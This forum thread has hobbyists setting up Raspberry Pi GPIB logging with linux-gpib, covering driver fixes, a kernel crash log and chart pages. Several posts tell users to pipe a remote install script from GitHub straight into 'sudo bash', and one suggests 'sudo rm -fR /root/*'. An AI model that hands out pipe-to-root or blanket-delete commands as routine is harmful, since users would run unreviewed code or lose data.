author_rank: Unknown
timestamp: February 11, 2017, 03:00:10 am
content: bingo600 - I believe your howto needs several bits added to work with the 82357BA couple notes from my attempt:Cleanup old kernel headers to make room for the new ones.----------------------------------------------------------sudo rm -fR /root/*The above command does not work but it won't give you any indication of that because of the -fIf you remove the -f you'll find the command won't work with sudo. If you switch to true root login(sudo su) it will work fine.If you don't get this command to work properly you will run out of space when you proceed to the next step.When everything is complete the module will load but it won't work by default.We need to install fxload:sudo apt-get install fxloadThen we need to get the Agilent 82357 firmware:cd /optsudo wgethttp://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gzsudo tar xvzf gpib_firmware-2008-08-10.tar.gzThen we need to copy the firmware to /usr/share/usb/agilentcd /opt/gpib_firmware-2008-08-10/agilent_82357asudo cp measat_releaseX1.8.hex /usr/share/usb/agilent_82357a/I believe /etc/gpib.conf should also be modified to support the 82357:board_type = "agilent_82357a" /* type of interface board being used */At this point the 82357 will work great and load at boot.

author: bingo600
author_rank: Super Contributor
timestamp: February 11, 2017, 01:25:10 pm
content: Quote from: TheSteve on February 11, 2017, 03:00:10 amSorry , this command ought to work : sudo rm -fR /root/* -Corrected instructions tn the above posts , to let the user chose how to make room.Them i'm avoiding to specify a rm -fR in a guide ....But strange that your : sudo rpi-sourceDidn't give you the warning that i specifically mentioned to watch out for , if/when running out of space.QuoteOr did you miss that oneQuote from: TheSteve on February 11, 2017, 03:00:10 amYou might be correct about the above things.My post was only about how to upgrade the volt-nut image to the latest linux-gpib version, not fixing the existing image.It never even occured to me that those things could be missing , but then again Plesa never had a working linux-gpib for the agilent when making the image.Thanx for the update/Bingo

author: z01z
author_rank: Regular Contributor
timestamp: February 11, 2017, 06:02:37 pm
content: I think the 82357B related stuff was intentionally left out, as it didn't work. So no, this in not in the v2 image.

author: Bud
author_rank: Super Contributor
timestamp: February 11, 2017, 06:35:03 pm
content: Boy this is depressing . It is not for Voltnuts, it is for Linux nuts. No average electronics person would be willing to go through this hassle of configuration.

author: dr.diesel
author_rank: Super Contributor
timestamp: February 11, 2017, 06:45:28 pm
content: Quote from: Bud on February 11, 2017, 06:35:03 pmLinux Voltnut fits me pretty good

author: bingo600
author_rank: Super Contributor
timestamp: February 11, 2017, 07:47:35 pm
content: Quote from: Bud on February 11, 2017, 06:35:03 pmHmm ...Did you notice that we hit a "hard bump" in DecemberWe had to get the linux-gpib maintainer involved, in order to get the Agilent GPIB adapter working ?The image is still WIP , andplesais working on a new version.I'm quite sure the goal is to deliver a working RasPi setup.This time i don't think it's a full image, but a set of install scripts.If you are impatient , you could cure your depression by getting LabViewOr use the Excel macro stuff you toyed with, in the other thread.I have spend quite some time to help out getting this image on the right track , so people with Agilent clone adapters could get a working system.I seem to remember you mention having such an adapter ..../Bingo

author: TheSteve
author_rank: Unknown
timestamp: February 11, 2017, 08:01:52 pm
content: I can understand it being overwhelming for people with no linux experience.I can upload the image I updated if people would like. If not it sounds like Plesa is working on an updated image. I don't think we want a big collection of images cluttering up TiN's server.

author: bingo600
author_rank: Super Contributor
timestamp: February 11, 2017, 08:43:39 pm
content: @StevePlesa hinted that the next one will be a collection of install scripts , expected to be applied over the Raspbian image.This prob. means no more full image dumps.So you prob. wouldn't clutter anything by uploading/Bingo

author: TheSteve
author_rank: Unknown
timestamp: February 11, 2017, 10:49:26 pm
content: I used a 16 gig micro sd card so reading it with win32diskimage it is now 16 gigs(15,523,119,104 bytes) even though it is only half used.I used to have a bunch of linux/unix boxes around, these days I just have raspberry pi's. I can still do it though if someone wants it.

author: Bud
author_rank: Super Contributor
timestamp: February 11, 2017, 11:01:22 pm
content: Quote from: bingo600 on February 11, 2017, 08:43:39 pmHow about One script, and pray it completes with no errors, THEN it will make more or less sense, more or less meaning the user still may need to run it every time a new kernel is out, based on on what was told earlier.

author: TheSteve
author_rank: Unknown
timestamp: February 11, 2017, 11:13:54 pm
content: Quote from: Bud on February 11, 2017, 11:01:22 pmUnless you're connected to the live internet you don't really need to update it - if it works, just keep using it.

author: z01z
author_rank: Regular Contributor
timestamp: February 12, 2017, 08:14:56 am
content: Quote from: Bud on February 11, 2017, 11:01:22 pmLook at it as an opportunity to improve your Linux knowledge. At least that's how I tried to approach it. I'm not saying that from time to time I didn't wish it just plain worked though.

author: z01z
author_rank: Regular Contributor
timestamp: February 12, 2017, 08:17:41 am
content: Quote from: bingo600 on February 11, 2017, 07:47:35 pm@PlesaIf you need help with testing or writing parts of the script, let me know.

author: plesa
author_rank: Frequent Contributor
timestamp: February 12, 2017, 05:14:30 pm
content: Sorry it takes so long.After multiple weeks of logging I decided to buil image on 4.4.38, other kernels has intermittent errors.Script update RPI to latest tree, download linux GPIB, VXI, USBTMC and change configuration accordingly.So to make your Volnut iamege, just download thehttps://downloads.raspberrypi.org/raspbian/images/raspbian-2017-01-10/2017-01-11-raspbian-jessie.zipRestore it to SD card and after automatic resize run script in terminalCode:curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashthis will check the version update it and reboot if needed and run script again ( in case the kernel is different than 4.4.38.Your GPIB adapter should be connected to set gpib.conf properly.Otherwise modify gpib.conf manually

author: TheSteve
author_rank: Unknown
timestamp: February 12, 2017, 08:57:49 pm
content: Plesa - thank you for the script. I gave it a try and here are my results.2017-01-11-raspbian-jessie.zip uses kernel 4.4.34 - the script updated my image to 4.4.38 and then rebooted(as you said it would)I ran the script a second time but it died when muug.ca was not reachable.I ran the script again and this time it was able to reach muug.ca and download the needed files.It compiled linux-gpib but afterwards died with the following:Agilent 82357B foundfailed to bring board onlinefailed to configure boardmain: No such deviceI had a poke around and noticed /etc/modules did not have the required entry. I added it and rebooted. Communication with the 82357B now works fine.I haven't reviewed the script to see what else it was going to setup and have not run the script again.edit:Checked out the script, doesn't look like I really missed anything needed.I would add a "sed -i -e "\$aagilent_82357a" /etc/modules" so everything loads automatically.Also - should this script have a web server running?

author: plesa
author_rank: Frequent Contributor
timestamp: February 22, 2017, 05:14:11 am
content: Quote from: TheSteve on February 12, 2017, 08:57:49 pmThe modules should be loded automatically after next reboot( added ldconfig, depmod, modprobe).During testing I found that something is wrong wit NI GPIB USB HS support.It seems to be broken with latest linux-gpib 1655 and kernel 4.4.38 and recent tree.Scripts for server are in progress - lighttp, temporary location in RAM (tmpfs filesystem) to minimize wear level of SD card, live graph on small LCD (3.5") of temperature, humidity and presssure.

author: bingo600
author_rank: Super Contributor
timestamp: February 22, 2017, 07:10:08 am
content: @Plesa et allSeems like Dave discovered that the NI-USB have started to "behave" as the Agilent.Quoted textQuoteDave writes on the gpib-mailinglistQuoteI'll try to get some more info from Dave/BingoPs: I'll try out the image asap

author: bingo600
author_rank: Super Contributor
timestamp: February 22, 2017, 03:15:06 pm
content: Dave might have fixed the NI-USB problemQuoteCould someone verify ??I don't have a NI adapter/Bingo

author: bingo600
author_rank: Super Contributor
timestamp: February 22, 2017, 04:20:47 pm
content: Ohh -A tip for users installing on a "Headless Raspi" (No HDMI screen connected).When making the SD card image on the PC, make sure to create a file calledsshon the /boot partition.This will enable SSH on bootup.I just found out the hard way/Bingo

author: plesa
author_rank: Frequent Contributor
timestamp: February 22, 2017, 05:33:17 pm
content: Quote from: bingo600 on February 22, 2017, 03:15:06 pmI just tried with kernel 4.9.11 with similar results.ibtestCode:enter a string to send to your device: *idn?sending string: *idn?Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800323] Internal error: Oops: 817 [#1] SMP ARMMessage from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800627] Process ibtest (pid: 9248, stack limit = 0xb2fbe210)Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800639] Stack: (0xb2fbfd70 to 0xb2fc0000)Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800653] fd60: 8025dc98 b5193abc 00000000 801e2fb4Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800669] fd80: b5193ab4 00000006 b8f7b000 b5193a80 a9fa5700 00000014 b2fbfdbc b2fbfda8Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800685] fda0: 80714e4c 80714c94 a9fa5710 7f3bee80 b2fbfdfc b2fbfdc0 7f3c9694 80714df8Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800701] fdc0: 7ede51f0 7f3bee80 00000000 00000000 80185ea4 7f3bee80 00000006 b8f7b000Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800717] fde0: 00000001 7f3bee88 7ede51f0 7f3bee80 b2fbfe24 b2fbfe00 7f3bd2f4 7f3c9570Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800732] fe00: b2fbfe60 b8f7b000 00000006 b2fbfe68 00000006 00000000 b2fbfefc b2fbfe28Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800748] fe20: 7f3bae30 7f3bd298 b2fbfe60 00000000 a9fa5440 b2fbfe40 807179c4 00000001Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800764] fe40: b8f7b000 b2fbe000 a9fa5dc0 7f3bee80 7ede52a0 00000000 00000004 00000000Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800779] fe60: 00000000 a9d83600 7ede52a0 00000000 00000006 00000000 00000001 00000001Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800795] fe80: 0000ffff 00000000 804c51ac 804c779c b2fbfedc b2fbfea0 804bccc4 804c5198Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800811] fea0: a9e71300 804c12e4 b6325c00 b2f0b000 b2fbff80 b6325c00 b2fbff80 76fa4000Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800827] fec0: b2fbff80 00000001 b2fbe000 00000000 b2fbff4c 7ede51f0 b2e561c8 a9da4240Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800843] fee0: c018a065 00000003 b2fbe000 00000000 b2fbff7c b2fbff00 802830e8 7f3b948cMessage from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800858] ff00: 8028fd44 00000001 b6325c08 b2928000 aac46e10 b2928000 00000000 00000000Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800874] ff20: 00000020 00000001 b6325c00 00000000 aac46e10 00000002 b6325c08 00000000Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800890] ff40: b2fbff7c b2fbff50 802701f0 802b6950 00000000 a9da4240 7ede51f0 a9da4240Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800906] ff60: c018a065 00000003 b2fbe000 00000000 b2fbffa4 b2fbff80 802838a0 80283048Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800921] ff80: 00000001 00000000 01484220 00000006 00000036 80108244 00000000 b2fbffa8Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800937] ffa0: 801080c0 80283868 00000000 01484220 00000003 c018a065 7ede51f0 00000001Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800952] ffc0: 00000000 01484220 00000006 00000036 7ede52a0 76f493c0 76faa000 00000000Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.800968] ffe0: 76f45294 7ede51ec 76f3a630 76e95f2c 00000010 00000003 00000000 00000000Message from syslogd@RPi3_2 at Feb 22 18:22:36 ...kernel:[ 764.801292] Code: e50b9030 e3e05000 e50b302c e3a08002 (e5832000)dmesgCode:[ 747.328240] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready: unexpected data: buffer=0xf, expected 0x2[ 747.328245] ni_usb_dump_raw_block:[ 747.328253] 40[ 747.328257] 1[ 747.328261] 0[ 747.328264] 8[ 747.328268] 30[ 747.328271] 0[ 747.328274] f[ 747.328280] 0[ 747.328286] 0[ 747.328290] 3[ 747.328293] 0[ 764.800266] Unable to handle kernel NULL pointer dereference at virtual address 00000000[ 764.800286] pgd = b6338000[ 764.800296]  *pgd=32b4c835, *pte=00000000, *ppte=00000000[ 764.800323] Internal error: Oops: 817 [#1] SMP ARM[ 764.800334] Modules linked in: bnep hci_uart btbcm bluetooth agilent_82357a(O) ni_usb_gpib(O) gpib_common(O) evdev joydev fb_ili9486(C) fbtft(C) syscopyarea sysfillrect ads7846 sysimgblt fb_sys_fops hwmon brcmfmac brcmutil cfg80211 rfkill snd_bcm2835 snd_pcm snd_timer snd w1_gpio i2c_bcm2835 spi_bcm2835 wire bcm2835_gpiomem cn uio_pdrv_genirq fixed uio i2c_dev fuse ipv6[ 764.800490] CPU: 2 PID: 9248 Comm: ibtest Tainted: G C O 4.9.11-v7+ #969[ 764.800499] Hardware name: BCM2835[ 764.800509] task: b5243b00 task.stack: b2fbe000[ 764.800532] PC is at __mutex_lock_slowpath+0x80/0x164[ 764.800546] LR is at __mutex_lock_slowpath+0x54/0x164[ 764.800559] pc : [<80714d08>] lr : [<80714cdc>] psr: a0000013sp : b2fbfd70 ip : b2fbfd70 fp : b2fbfda4[ 764.800572] r10: b5193ab4 r9 : b5193abc r8 : 00000002[ 764.800583] r7 : b5193ab8 r6 : b5243b00 r5 : ffffffff r4 : b5193ab4[ 764.800594] r3 : 00000000 r2 : b2fbfd74 r1 : 00000000 r0 : b5193ab8[ 764.800606] Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user[ 764.800617] Control: 10c5383d Table: 3633806a DAC: 00000055[ 764.800627] Process ibtest (pid: 9248, stack limit = 0xb2fbe210)[ 764.800639] Stack: (0xb2fbfd70 to 0xb2fc0000)[ 764.800653] fd60: 8025dc98 b5193abc 00000000 801e2fb4[ 764.800669] fd80: b5193ab4 00000006 b8f7b000 b5193a80 a9fa5700 00000014 b2fbfdbc b2fbfda8[ 764.800685] fda0: 80714e4c 80714c94 a9fa5710 7f3bee80 b2fbfdfc b2fbfdc0 7f3c9694 80714df8[ 764.800701] fdc0: 7ede51f0 7f3bee80 00000000 00000000 80185ea4 7f3bee80 00000006 b8f7b000[ 764.800717] fde0: 00000001 7f3bee88 7ede51f0 7f3bee80 b2fbfe24 b2fbfe00 7f3bd2f4 7f3c9570[ 764.800732] fe00: b2fbfe60 b8f7b000 00000006 b2fbfe68 00000006 00000000 b2fbfefc b2fbfe28[ 764.800748] fe20: 7f3bae30 7f3bd298 b2fbfe60 00000000 a9fa5440 b2fbfe40 807179c4 00000001[ 764.800764] fe40: b8f7b000 b2fbe000 a9fa5dc0 7f3bee80 7ede52a0 00000000 00000004 00000000[ 764.800779] fe60: 00000000 a9d83600 7ede52a0 00000000 00000006 00000000 00000001 00000001[ 764.800795] fe80: 0000ffff 00000000 804c51ac 804c779c b2fbfedc b2fbfea0 804bccc4 804c5198[ 764.800811] fea0: a9e71300 804c12e4 b6325c00 b2f0b000 b2fbff80 b6325c00 b2fbff80 76fa4000[ 764.800827] fec0: b2fbff80 00000001 b2fbe000 00000000 b2fbff4c 7ede51f0 b2e561c8 a9da4240[ 764.800843] fee0: c018a065 00000003 b2fbe000 00000000 b2fbff7c b2fbff00 802830e8 7f3b948c[ 764.800858] ff00: 8028fd44 00000001 b6325c08 b2928000 aac46e10 b2928000 00000000 00000000[ 764.800874] ff20: 00000020 00000001 b6325c00 00000000 aac46e10 00000002 b6325c08 00000000[ 764.800890] ff40: b2fbff7c b2fbff50 802701f0 802b6950 00000000 a9da4240 7ede51f0 a9da4240[ 764.800906] ff60: c018a065 00000003 b2fbe000 00000000 b2fbffa4 b2fbff80 802838a0 80283048[ 764.800921] ff80: 00000001 00000000 01484220 00000006 00000036 80108244 00000000 b2fbffa8[ 764.800937] ffa0: 801080c0 80283868 00000000 01484220 00000003 c018a065 7ede51f0 00000001[ 764.800952] ffc0: 00000000 01484220 00000006 00000036 7ede52a0 76f493c0 76faa000 00000000[ 764.800968] ffe0: 76f45294 7ede51ec 76f3a630 76e95f2c 00000010 00000003 00000000 00000000[ 764.800998] [<80714d08>] (__mutex_lock_slowpath) from [<80714e4c>] (mutex_lock+0x60/0x64)[ 764.801039] [<80714e4c>] (mutex_lock) from [<7f3c9694>] (ni_usb_write+0x130/0x3a8 )[ 764.801115] [<7f3c9694>] (ni_usb_write ) from [<7f3bd2f4>] (ibwrt+0x68/0xb4 )[ 764.801181] [<7f3bd2f4>] (ibwrt ) from [<7f3bae30>] (ibioctl+0x19b0/0x24ac )[ 764.801226] [<7f3bae30>] (ibioctl ) from [<802830e8>] (do_vfs_ioctl+0xac/0x820)[ 764.801249] [<802830e8>] (do_vfs_ioctl) from [<802838a0>] (SyS_ioctl+0x44/0x6c)[ 764.801274] [<802838a0>] (SyS_ioctl) from [<801080c0>] (ret_fast_syscall+0x0/0x1c)[ 764.801292] Code: e50b9030 e3e05000 e50b302c e3a08002 (e5832000)[ 764.801306] ---[ end trace d5cccf1ab6a06095 ]---Another useful trick for RPi3 is overclock SD card, this has significant impact on performanceCode:sudo bash -c 'printf "dtoverlay=sdhost,overclock_50=100\n" >> /boot/config.txt'

author: bingo600
author_rank: Super Contributor
timestamp: February 22, 2017, 06:53:07 pm
content: Quote from: plesa on February 22, 2017, 05:33:17 pmReported to Dave Penkler/Bingo

author: plesa
author_rank: Frequent Contributor
timestamp: February 22, 2017, 08:07:24 pm
content: Quote from: bingo600 on February 22, 2017, 06:53:07 pmThanks! It is the same with kernel 4.4.38 and 4.0.4

author: bingo600
author_rank: Super Contributor
timestamp: February 22, 2017, 08:11:31 pm
content: And fix might be hereQuote/Bingo

author: plesa
author_rank: Frequent Contributor
timestamp: February 22, 2017, 08:58:28 pm
content: Quote from: bingo600 on February 22, 2017, 08:11:31 pmYep it works like a charm with 4.4.38, extra kudos for Dave.Also Agilent stiil works:)Code:[ 43.101549] gpib0: exiting autospoll thread[ 43.102326] ni_usb_gpib: attach[ 43.102356] attached to bus interface 0, address 0xb618b000[ 43.111675] product id=0x709b[ 43.111841] ni_usb_hs_wait_for_ready: board serial number is 0x169a301[ 43.111990] /opt/linux-gpib-4.0.4rc2/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready: unexpected data: buffer=0xf, expected 0x2[ 43.112002] ni_usb_dump_raw_block:[ 43.112014] 40 1 0 8 30 0 f 0[ 43.112042] 0 3 0[ 43.112059] /opt/linux-gpib-4.0.4rc2/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_hs_wait_for_ready exit retval=0Update: It was successfully tested with 4.9.11 kernel.

author: bingo600
author_rank: Super Contributor
timestamp: February 23, 2017, 07:12:57 pm
content: Fun w. a $11 OrangePi Zerohttps://www.eevblog.com/forum/reviews/$11-orangepi-zero-as-linux-gpib-server/msg1143745/#msg1143745/Bingo

author: z01z
author_rank: Regular Contributor
timestamp: February 24, 2017, 08:05:11 am
content: Quote from: bingo600 on February 23, 2017, 07:12:57 pmThe Plus and Plus2 models even have SATA connector, though there's only an SATA to USB2.0 adapter behind it, which limits SATA performance a lot.When reading about the poor sw support, I decided I already had enough fun with the RPI. For you this OrangePi might be perfect though.

author: bingo600
author_rank: Super Contributor
timestamp: February 24, 2017, 01:17:37 pm
content: The price & size was what made me try it out.And it seems like Armbian works fine on it, no troubles yet.I think the bad sw-support is OPI's own implementations of OS'es.Best sw support : RasPiBest hw performance : OdroidFor now my OPZ is for fun ($11) , but it seems to behave and perform like a Raspi2 or better.But this is based on having had the OPZ for less than 24 hours.The $11 is a "Magic price" for me in DK , it means it's below the Customs limit ($12).And i don't get a $23 Customs fee when getting it handed over via DK-Mail./Bingo

author: enut11
author_rank: Super Contributor
timestamp: March 05, 2017, 06:38:50 pm
content: @plesaWithout reading through 300+ replies, is there anything here to help me set up a RP3 to log the output of a HP3456A using an Agilent USB-GPIB interface?Enut11

author: bingo600
author_rank: Super Contributor
timestamp: March 05, 2017, 08:08:51 pm
content: https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1135081/#msg1135081

author: plesa
author_rank: Frequent Contributor
timestamp: March 08, 2017, 09:10:29 pm
content: Updated to kernel 4.4.50 and latest Raspbian with usage linux gpib 4.0.4 rc2Script update RPI to latest tree, download linux GPIB, VXI, USBTMC and change configuration accordingly.So to make your Volnut iamege, just download thehttps://downloads.raspberrypi.org/raspbian/images/raspbian-2017-03-03/2017-03-02-raspbian-jessie.zipRestore it to SD card and after automatic resize run script in terminalCode:curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashthis will check the version update it and reboot if needed and run script again ( in case the kernel is different than 4.4.50.Your GPIB adapter should be connected to set gpib.conf properly.Otherwise modify gpib.conf manually

author: blackdog
author_rank: Frequent Contributor
timestamp: April 14, 2017, 10:58:12 am
content: Hi,I loaded the last "plesa image" on a disk and run the script from March-9I have connected my Agilent_82357A to te PI and try to edit the gpib.conf file.But there is so much other stuf in this gpib.conf file about a PCi devices...Can someone show me how to make the gpib.conf workable for the Agilent_82357A?And then, lets say the Agilent_82357A is detected, i cant find how to use the PI with the GPIB software.It is difficult to filter the basic stuff from al the pages of this project.Can some one show me howe to use the PI for logging a 3458A of 34401A?Kind regards,Blackdog

author: plesa
author_rank: Frequent Contributor
timestamp: April 14, 2017, 11:47:57 am
content: Download latest imagehttps://downloads.raspberrypi.org/raspbian_latestperform (upddate ( sudo apt-get update && sudo apt-get -y upgrade )The latest kernel which is tested is 4.4.50 ( to check run uname -a)Code:curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashBecause the image you restored contain the previous version of linux-gpib which does not work with 82357B and maybe 82357A. I do not know.82357A adapter is not in script but if you send me the USB ID I can add it.Or modifyCode:if lsusb | grep -q '0957:0518'; thensudo sed -i 's/ni_pci/agilent_82357a/g' /etc/gpib.confecho "Agilent 82357B found"sudo modprobe agilent_82357afiWhen you finish this run the ibtest to check the communication with GPIB instruments.For basic logging task there are few basic scriptshttps://github.com/PlesaEEVBlog/RPi_LogNutYou just needs to modify paths

author: blackdog
author_rank: Frequent Contributor
timestamp: April 14, 2017, 12:15:47 pm
content: Hi plesa,Thanks for your quick response, is appreciated.I wil run your code and wil tell it here if its working.Kind regards,Blackdog

author: plesa
author_rank: Frequent Contributor
timestamp: April 14, 2017, 08:30:02 pm
content: C3js extension of D3js seems to be the way to go. It is much easier for configuration compare to D3js.For examples checkhttp://c3js.org/Code:<!DOCTYPE html><html lang="en"><head><title>C3 Test for RPi LogNut</title><meta charset="utf-8" /><link href="c3js.org/c3.min.css" rel="stylesheet" /><script src="c3js.org/d3.min.js"></script><script src="c3js.org/c3.min.js"></script></head><body><div id="chart"></div><script>var chart = c3.generate({data: {url: 'logs/K2604B_K6517B_K6485_Comparison_Log.csv',type: 'line'}});</script></body></html>

author: plesa
author_rank: Frequent Contributor
timestamp: April 15, 2017, 12:06:54 pm
content: Another test page with comparison of K6517B and K6485. I can easily display data on mouse over, easier scaling than D3, secondary axis also possible.Code:<!DOCTYPE html><html lang="en"><head><title>C3js Test Page</title><meta charset="utf-8" /><link href="c3js.org/c3.min.css" rel="stylesheet" /><script src="c3js.org/d3.min.js"></script><script src="c3js.org/c3.min.js"></script></head><body><div id="chart"></div><script>window.chart = c3.generate({bindto: '#chart',size: {height: 950,width: 1700},data: {x: 'TimeStamp',url: 'logs/K2604B_K6517B_K6485_Comparison_Log.csv',//url: 'logs/K2604B_K6517B_K6485_Comparison_Log2.csv',xFormat: '%d/%m/%Y-%H:%M:%S'//xFormat: '%Y-%m-%dT%H:%M:%S'},point: {show: false},axis: {x: {type: 'timeseries',tick: {count: 20,format: '%H:%M:%S'}}}});</script></body></html>

author: TiN
author_rank: Super Contributor
timestamp: April 15, 2017, 12:12:00 pm
content: Hm, cool. Want some bulkydataset of 11 days 5xLTZ loggingto try performance too?Do you have 6220/6221? I'd be interested to see how it compare vs 6517B/6485 too.Also scientific notation usually looks much better than all those eye-breaking stashes of zeros.

author: plesa
author_rank: Frequent Contributor
timestamp: April 15, 2017, 03:52:06 pm
content: Hehe, you are calling 1MB file bulkyProcessing time with Chromium is 13sSo it is faster than D3js ( C3 is using D3).Additional benefit is much easier configuration.I do not have 6220/6221, but I will expect similar behavioral like 2636B. I can run the same test with this unit.The 2602B is also better than 2400 series.Scientific notation is ongoing, I'm using it in Python ( si_prefix si_format) be patient, when it will be finished I will put in on GitHub.

author: SvanGool
author_rank: Regular Contributor
timestamp: April 15, 2017, 04:17:40 pm
content: @PlesaThe "https://downloads.raspberrypi.org/raspbian_latest" won't work it has just been updated and is not compatible with your script (has kernel version "4.4.50+").I changed the script (deleting the "V7"), but testing it, it only produces a time-out (error 19), the adapter is recognized and does work with the KS software under Win10.Meanwhile, I saw you advising an older RPI image (2017-03-02-raspbian-jessie) in an older email, so I will try that. To be sure that my configuration was correct.

author: plesa
author_rank: Frequent Contributor
timestamp: April 15, 2017, 04:20:55 pm
content: The current one is 2017-04-10-raspbian-jessieIf links in not working try direct onehttp://vx2-downloads.raspberrypi.org/raspbian/images/raspbian-2017-04-10/2017-04-10-raspbian-jessie.zipAnd after that executecurlhttps://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh| sudo bash

author: SvanGool
author_rank: Regular Contributor
timestamp: April 15, 2017, 04:26:02 pm
content: It does work, but not with your script ! The script doesn't recognize the kernel version reported by the latest RPI image and tries to update the kernel.

author: plesa
author_rank: Frequent Contributor
timestamp: April 15, 2017, 05:48:43 pm
content: Quote from: SvanGool on April 15, 2017, 04:26:02 pmYou mentioned that you needs to remove v7, which seems that you are using the RPi1 or Raspberry Zero.Script mentioned above is only for RPi2 and higher ( not for PRi1 or RPi0).

author: plesa
author_rank: Frequent Contributor
timestamp: April 15, 2017, 07:47:56 pm
content: Quote from: TiN on April 15, 2017, 12:12:00 pm

author: SvanGool
author_rank: Regular Contributor
timestamp: April 16, 2017, 09:07:39 pm
content: @PlesaYou were fully right: I thought I had a RPI 2, but after I opened the box, I checked again and it is a 1B+, sorry for causing confusion !

author: plesa
author_rank: Frequent Contributor
timestamp: April 16, 2017, 09:10:38 pm
content: Quote from: SvanGool on April 16, 2017, 09:07:39 pmIt is OK, just delete the kernel check and it should work. I just run it on RPi0.Or post your message if needed.

author: SvanGool
author_rank: Regular Contributor
timestamp: April 17, 2017, 12:47:28 pm
content: Indeed that does the job + restarting the system before you continueDon't forget (I did) to run /usr/local/sbin/gpib_config once after boot or put it in /etc/rc.local if you have the gpib adapter always connected.[Edited to add note on gpib_config]

author: vindoline
author_rank: Unknown
timestamp: August 04, 2017, 08:09:04 pm
content: Hi Plesa and the group,I'm a complete RasPi beginner but I'm very interested in getting one set up for datalogging! I've followed the instructions to:download raspbian-2017-03-03/2017-03-02-raspbian-jessie.zip, Restore it to SD card and run script in terminal:curlhttps://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh| sudo bashIt took quite a while to execute the script - longer than I was willing to watch. When I returned some time later the last entries on my terminal were:Collecting si-prefixDownloading si-prefix-0.5.tar.gz (49kB)100% |??| 51kB 467kB/sBuilding wheels for collected packages: si-prefixRunning setup.py bdist_wheel for si-prefix ... doneStored in directory: /root/.cache/pip/wheels/7b/e3/f0/6c628d1ed2fe11531947b4d759bb61a39f45bf50da106d15f1Successfully built si-prefixInstalling collected packages: si-prefixSuccessfully installed si-prefix-0.5depmod: ERROR: could not open directory /lib/modules/4.4.50-v7+: No such file or directorydepmod: FATAL: could not search modules: No such file or directoryfailed to open device file '/dev/gpib0'main: No such device or addresspi@raspberrypi:~ $It seems to have stopped due to an error. I looked in the file system and /dev/gpib0 does exist. However I have /lib/modules/4.9.35-v7+ NOT 4.4.50-v7+Any advice would be greatly appreciated!Also, how do I use the raspberry Pi once everything is installed happily? Sorry, but I need the hand-holding (at least to begin)

author: vindoline
author_rank: Unknown
timestamp: August 05, 2017, 01:54:56 am
content: OK, I re-downloaded the most recent rasping and re-ran the install_gpib_support script. This time it seemed to complete OK without errors.Now what? How does one use this tool? I'm hoping to be able to use an Arduino based GPIB adapter with my Keithley 196 meter as well as setting up logging of environmental temp/humidity etc. Any advice is greatly appreciated!

author: Assafl
author_rank: Frequent Contributor
timestamp: August 05, 2017, 08:26:56 am
content: 196 Isn't SCPI. So you'll have to program all of the mashed up commands....

author: alm
author_rank: Super Contributor
timestamp: August 05, 2017, 10:35:37 am
content: Neither is the 3458A. Just means you need the more cryptic but simpler command set that mostly maps GPIB commands to front panel button presses, e.g. F0 is the left most function button, F1 the second from the left. Documentation is important, because a command like F1R5Q0M1T5X is not easy to decipher.Mapping one of those meters to the IVI triggering model is good fun. But it does not look like this project cares about abstractions, so that is a hurdle you will not have to overcome.

author: vindoline
author_rank: Unknown
timestamp: August 05, 2017, 03:53:38 pm
content: OK, at a really basic level, I don't know what I'm doing.Via SSH I ran the install script again. It ends with:failed to configure boardtype: ni_pcifailed to configure boardmain: Invalid argumentI'm not surprised as I don't have an National Instruments board, it's an arduino based unit (http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html).When I reboot the pi it just sits there. There appears that no logging program is running. There is no web server running. Is there a program I'm supposed to run? Am I supposed to access it via a web browser?I am able to get the Arduino GPIB adapter talking to my Mac via a Python in terminal. My goal is to get it working on the RPi with environmental logging, which I thought was worked out here.Thanks in advance to anyone who can help me out!

author: plesa
author_rank: Frequent Contributor
timestamp: August 06, 2017, 03:06:10 pm
